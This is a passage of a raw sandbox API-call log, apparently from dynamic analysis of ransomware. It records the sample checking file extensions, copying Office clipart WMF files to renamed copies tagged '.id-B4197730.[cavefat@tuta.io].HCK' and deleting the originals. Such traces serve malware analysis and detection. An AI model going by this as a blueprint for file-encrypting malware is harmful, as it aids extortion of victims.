lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.167] SetEndOfFile (hFile=0x370) returned 1 [0167.175] CloseHandle (hObject=0x370) returned 1 [0167.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0167.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.179] lstrlenW (lpString=".doc") returned 4 [0167.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.179] lstrlenW (lpString=".docx") returned 5 [0167.179] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.179] lstrlenW (lpString=".pdf") returned 4 [0167.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.179] lstrlenW (lpString=".xls") returned 4 [0167.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.179] lstrlenW (lpString=".xlsx") returned 5 [0167.179] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.179] lstrlenW (lpString=".ppt") returned 4 [0167.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.179] lstrlenW (lpString=".zip") returned 4 [0167.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.179] lstrlenW (lpString=".rar") returned 4 [0167.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.179] lstrlenW (lpString=".bz2") returned 4 [0167.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.179] lstrlenW (lpString=".7z") returned 3 [0167.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.179] lstrlenW (lpString=".dbf") returned 4 [0167.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.179] lstrlenW (lpString=".1cd") returned 4 [0167.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.180] lstrlenW (lpString=".jpg") returned 4 [0167.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.180] lstrlenW (lpString=".doc") returned 4 [0167.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString=".docx") returned 5 [0167.180] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.180] lstrlenW (lpString=".pdf") returned 4 [0167.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString=".xls") returned 4 [0167.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.180] lstrlenW (lpString=".xlsx") returned 5 [0167.180] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.180] lstrlenW (lpString=".ppt") returned 4 [0167.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.180] lstrlenW (lpString=".zip") returned 4 [0167.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.180] lstrlenW (lpString=".rar") returned 4 [0167.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString=".bz2") returned 4 [0167.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString=".7z") returned 3 [0167.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.180] lstrlenW (lpString=".dbf") returned 4 [0167.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.180] lstrlenW (lpString=".1cd") returned 4 [0167.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0167.180] lstrlenW (lpString=".jpg") returned 4 [0167.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.180] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.180] lstrlenW (lpString="J0107026.WMF") returned 12 [0167.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.183] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7632) returned 1 [0167.183] CloseHandle (hObject=0x370) returned 1 [0167.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220 [0167.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.200] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.200] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.293] GetLastError () returned 0x0 [0167.293] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0167.295] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1de0, lpOverlapped=0x0) returned 1 [0167.296] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.296] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.296] SetEndOfFile (hFile=0x378) returned 1 [0167.303] CloseHandle (hObject=0x378) returned 1 [0167.304] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.304] SetEndOfFile (hFile=0x354) returned 1 [0167.309] CloseHandle (hObject=0x354) returned 1 [0167.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0167.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.313] lstrlenW (lpString=".doc") returned 4 [0167.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.313] lstrlenW (lpString=".docx") returned 5 [0167.313] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.313] lstrlenW (lpString=".pdf") returned 4 [0167.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.313] lstrlenW (lpString=".xls") returned 4 [0167.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.313] lstrlenW (lpString=".xlsx") returned 5 [0167.314] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.314] lstrlenW (lpString=".ppt") returned 4 [0167.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.314] lstrlenW (lpString=".zip") returned 4 [0167.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.314] lstrlenW (lpString=".rar") returned 4 [0167.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString=".bz2") returned 4 [0167.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString=".7z") returned 3 [0167.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.314] lstrlenW (lpString=".dbf") returned 4 [0167.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.314] lstrlenW (lpString=".1cd") returned 4 [0167.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.314] lstrlenW (lpString=".jpg") returned 4 [0167.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.314] lstrlenW (lpString=".doc") returned 4 [0167.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString=".docx") returned 5 [0167.314] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0167.314] lstrlenW (lpString=".pdf") returned 4 [0167.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString=".xls") returned 4 [0167.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.314] lstrlenW (lpString=".xlsx") returned 5 [0167.314] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0167.314] lstrlenW (lpString=".ppt") returned 4 [0167.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.314] lstrlenW (lpString=".zip") returned 4 [0167.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.314] lstrlenW (lpString=".rar") returned 4 [0167.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString=".bz2") returned 4 [0167.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.314] lstrlenW (lpString=".7z") returned 3 [0167.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.315] lstrlenW (lpString=".dbf") returned 4 [0167.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.315] lstrlenW (lpString=".1cd") returned 4 [0167.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0167.315] lstrlenW (lpString=".jpg") returned 4 [0167.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.315] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.315] lstrlenW (lpString="J0107130.WMF") returned 12 [0167.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.320] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=27084) returned 1 [0167.320] CloseHandle (hObject=0x330) returned 1 [0167.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220 [0167.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.357] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.363] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.370] GetLastError () returned 0x0 [0167.370] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x69cc, lpOverlapped=0x0) returned 1 [0167.373] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x69d0, lpOverlapped=0x0) returned 1 [0167.374] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.374] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.374] SetEndOfFile (hFile=0x39c) returned 1 [0167.378] CloseHandle (hObject=0x39c) returned 1 [0167.381] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.381] SetEndOfFile (hFile=0x364) returned 1 [0167.388] CloseHandle (hObject=0x364) returned 1 [0167.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0167.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.404] lstrlenW (lpString=".doc") returned 4 [0167.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.404] lstrlenW (lpString=".docx") returned 5 [0167.404] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.404] lstrlenW (lpString=".pdf") returned 4 [0167.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.404] lstrlenW (lpString=".xls") returned 4 [0167.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.404] lstrlenW (lpString=".xlsx") returned 5 [0167.404] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.404] lstrlenW (lpString=".ppt") returned 4 [0167.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.405] lstrlenW (lpString=".zip") returned 4 [0167.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.405] lstrlenW (lpString=".rar") returned 4 [0167.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString=".bz2") returned 4 [0167.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString=".7z") returned 3 [0167.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.405] lstrlenW (lpString=".dbf") returned 4 [0167.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.405] lstrlenW (lpString=".1cd") returned 4 [0167.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.405] lstrlenW (lpString=".jpg") returned 4 [0167.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.405] lstrlenW (lpString=".doc") returned 4 [0167.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString=".docx") returned 5 [0167.405] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.405] lstrlenW (lpString=".pdf") returned 4 [0167.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString=".xls") returned 4 [0167.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.405] lstrlenW (lpString=".xlsx") returned 5 [0167.405] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.405] lstrlenW (lpString=".ppt") returned 4 [0167.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.405] lstrlenW (lpString=".zip") returned 4 [0167.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.405] lstrlenW (lpString=".rar") returned 4 [0167.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString=".bz2") returned 4 [0167.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.405] lstrlenW (lpString=".7z") returned 3 [0167.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.405] lstrlenW (lpString=".dbf") returned 4 [0167.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.406] lstrlenW (lpString=".1cd") returned 4 [0167.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0167.406] lstrlenW (lpString=".jpg") returned 4 [0167.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.406] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.406] lstrlenW (lpString="J0107146.WMF") returned 12 [0167.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.444] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14996) returned 1 [0167.444] CloseHandle (hObject=0x364) returned 1 [0167.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220 [0167.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.479] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.479] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.488] GetLastError () returned 0x0 [0167.488] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0167.491] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0167.493] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.493] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.493] SetEndOfFile (hFile=0x388) returned 1 [0167.496] CloseHandle (hObject=0x388) returned 1 [0167.498] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.498] SetEndOfFile (hFile=0x370) returned 1 [0167.510] CloseHandle (hObject=0x370) returned 1 [0167.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0167.520] lstrlenW (lpString="C:\\Program Files\\Microsoft 